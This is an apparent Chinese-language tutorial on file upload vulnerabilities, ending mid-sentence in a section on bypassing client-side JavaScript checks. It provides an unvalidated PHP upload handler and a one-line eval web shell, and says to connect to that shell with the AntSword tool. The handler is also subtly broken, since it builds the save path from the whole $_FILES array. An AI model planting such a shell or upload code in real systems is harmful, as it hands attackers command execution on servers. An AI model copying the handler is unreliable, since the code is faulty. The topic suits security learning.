0x00 漏洞簡介
文件上傳漏洞是指用戶上傳了一個可執行的腳本文件,並通過此腳本文件獲得了執行服務器端命令的能力。這種攻擊是最為直接和有效的,“文件上傳”本身是沒有問題,有問題的是文件上傳后,服務器怎么處理,解釋文件。如果服務器的處理邏輯做的不夠安全,則會導致嚴重的后果,。
0x01漏洞條件
文件可上傳
知道文件上傳的路徑
上傳文件可以被訪問
上傳文件可以被執行
0x02 挖掘思路
上傳點都調用同一個上傳類,直接全局搜索上傳函數
黑盒尋找上傳點,代碼定位。
0x03 寫一個上傳
我們先寫一個上傳的前端
<html>
<head>
<meta charset="UTF-8">
<title>upload.html</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" name="上傳文件">
<!--<input type="hidden" name="MAX_FILE_SIZE" name="4098">//設置文件上傳大小,一般在php.ini里面設置-->
</form>
</body>
</html>
寫一個上傳php
<?php
$upload_dir = "D:\PHPSTUDY2018\PHPTutorial\WWW\upload";
if(isset($_FILES['file'])){
$upload_name = $upload_dir . "\\" . $_FILES['file'];
move_uploaded_file($_FILES['file']['tmp_name'],$upload_name);
echo "Type:" . $_FILES['file']['type']. "<br >";
echo "Size:" . ($_FILES['file']['size'] / 1024) . "<br >";
echo "Name:" . $_FILES['file']['name'];//這三行是我們看一下上傳效果。
}else{
echo"上傳失敗";
}
寫一個最簡單的一句話
<?php
@eval($_POST['777'])
?>
上傳:
看到上傳成功
之后拿蟻劍連接就行
這是一個最簡單最簡單的例子,只是讓自己開始往白盒方向轉變。慢慢積累
0x04 文件上傳繞過
1:客戶端js檢測檢測繞過
檢測原理
在客戶端通過javascript代碼來檢測用戶提交的文件是否合法
繞過方法
- 添加允許上傳的文件類型,使自己想要上傳的會見類型為合法
2、刪除對js驗證腳本的調用,使其不能對上傳的文件類型做檢測,從而達到繞過 -同樣的通過審查元素,查看到form表單的內容,form的開始標簽為